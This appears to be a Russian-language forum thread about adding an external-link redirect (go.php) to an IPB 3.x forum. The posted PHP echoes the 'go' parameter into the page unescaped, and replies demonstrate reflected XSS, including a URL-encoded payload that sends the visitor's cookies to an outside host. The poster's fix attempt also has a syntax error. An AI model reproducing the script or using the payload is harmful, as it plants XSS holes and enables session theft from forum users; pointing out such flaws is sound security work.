Перейти к контенту

Редирект внещних ссылок на тройке


Рекомендуемые сообщения

Решил сделать редирект к внешним ссылкам на форуме.

В файле "admin/sources/classes/bbcode/custom/defaults.php"

Это

		//-----------------------------------------
	// Adding rel='nofollow'?
	//-----------------------------------------

	$rels	= array();
	$rel	= '';

	if( $this->settings['posts_add_nofollow'] )
	{
		$rels[]	= "nofollow";
	}

	if( $this->settings['links_external'] )
	{
		$rels[]	= "external";
	}

	if( count($rels) )
	{
		$rel = " rel='" . implode( ' ', $rels ) . "'";
	}

	if( $this->settings['posts_add_nofollow'] )
	{
		return "<noindex><a href='{$option}' class='bbc_url' title='{$this->lang->words['bbc_external_link']}'{$rel}>{$content}</a></noindex>";
	}
	else
	{
	return "<a href='{$option}' class='bbc_url' title='{$this->lang->words['bbc_external_link']}'{$rel}>{$content}</a>";
}

 

Заменил на это

//-----------------------------------------
	// Adding rel='nofollow'?
	//-----------------------------------------

	$rels	= array();
	$rel	= '';

	if( $this->settings['posts_add_nofollow'] )
	{
		$rels[]	= "nofollow";
	}

	if( $this->settings['links_external'] )
	{
		$rels[]	= "external";
	}

	if( count($rels) )
	{
		$rel = " rel='" . implode( ' ', $rels ) . "'";
	}

	if( $this->settings['posts_add_nofollow'] )
	{
		return "<noindex><a href='/go.php?go={$option}' class='bbc_url' title='{$this->lang->words['bbc_external_link']}'{$rel}>{$content}</a></noindex>";
	}
	else
	{
	return "<a href='{$option}' class='bbc_url' title='{$this->lang->words['bbc_external_link']}'{$rel}>{$content}</a>";
}

 

В корень форума

<?php
$url = $_REQUEST['go'];
//header('Location: '.$url);
echo "
<html>
<head>
<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\" /> 
<title>Подождите... </title>
<link rel=\"shortcut icon\" href='/favicon.ico' />
<meta http-equiv=\"refresh\" content=\"2; url=$url\" />
</head>

<center><br><br><br><br>
			Перенаправление на <b>$url</b> через 2 секунды.
<br><br><br><br>

</center>
</body>
</html>";
exit;
?>

 

Все хорошо, все работает. Но вот только редиректные ссылки подставляются даже к внутренним ссылкам форума!

 

Последний блок кода попробовал заменить по аналогии с похожими модификациями

if (!stristr($url, "tvoy_forum.ru")
	{
		return "<noindex><a href='/go.php?go={$option}' class='bbc_url' title='{$this->lang->words['bbc_external_link']}'{$rel}>{$content}</a></noindex>";
	}
	else
	{
	return "<a href='{$option}' class='bbc_url' title='{$this->lang->words['bbc_external_link']}'{$rel}>{$content}</a>";
}

 

Только вот не помогло. Помогите пожалуйсто решить проблему. Все равно везде подставляет

Изменено пользователем KveSteR
Ссылка на комментарий
Поделиться на других сайтах

А теперь - фокус-покус:

 

http://example.com/go.php?go="><script>alert('xss');</script>

IPB 3.x не режет спецсимволы в урлах? :D куда же делись их хвалёные регекспы на 20 строчек? ;)

Ссылка на комментарий
Поделиться на других сайтах

Sannis, IPB режет, только что мешает пообщаться с самописным чудо-скриптом напрямую? :D

 

Кстати, 99% самописных "редиректов" болеют этой болезнью - отсуствие проверки входящих данных.

Ссылка на комментарий
Поделиться на других сайтах

Sannis, IPB режет, только что мешает пообщаться с самописным чудо-скриптом напрямую? :D

 

Кстати, 99% самописных "редиректов" болеют этой болезнью - отсуствие проверки входящих данных.

 

URL то обрабатывается ведь в любом случае движком форума. И изменения в оригинальных файлах только "приставка" к ссылкам.

А сам файл go.php состоит практически из одной переменной, и с движком форума вообще-то никак не связан.

Ссылка на комментарий
Поделиться на других сайтах

KveSteR, ладно, разовью концепцию, если вы еще не поняли:

 

Привет, Вася! Такую классную ссылку на форуме нашел, смотри!

http://example.com/go.php?go=%40%21%23%22%3E%3Cscript%3Ewindow.location%3D%22http%3A%2F%2Fgoogle.com%2F%3Fq%3D%22%2BencodeURIComponent%28document.cookie%29%3B%3C%2Fscript%3E%3C%21--+

 

 

 

А сам файл go.php состоит практически из одной переменной, и с движком форума вообще-то никак не связан.

Связан общим доменом, а значит, и общими cookies, которые вполне можно увести.

Ссылка на комментарий
Поделиться на других сайтах

В безопасности куков я не силен... такой вариант вполне возможен, но только одно но:

Все ссылки которые на форуме выводятся, вводятся тоже движком форума... и подстановка к ссылка /go.php... ни как не влияет на работоспособность резки ссылок движком.

 

Пообщаться на прямую с чудо скриптом ничего не мешает. Только толку от этого я не вижу. Движок то все равно такие ссылки не пропустит.

Ссылка на комментарий
Поделиться на других сайтах

Присоединиться к обсуждению

Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.

Гость
Ответить в этой теме...

×   Вы вставили отформатированный текст.   Удалить форматирование

  Допустимо не более 75 смайлов.

×   Ваша ссылка была автоматически заменена на медиа-контент.   Отображать как ссылку

×   Ваши публикации восстановлены.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

Зарузка...
×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.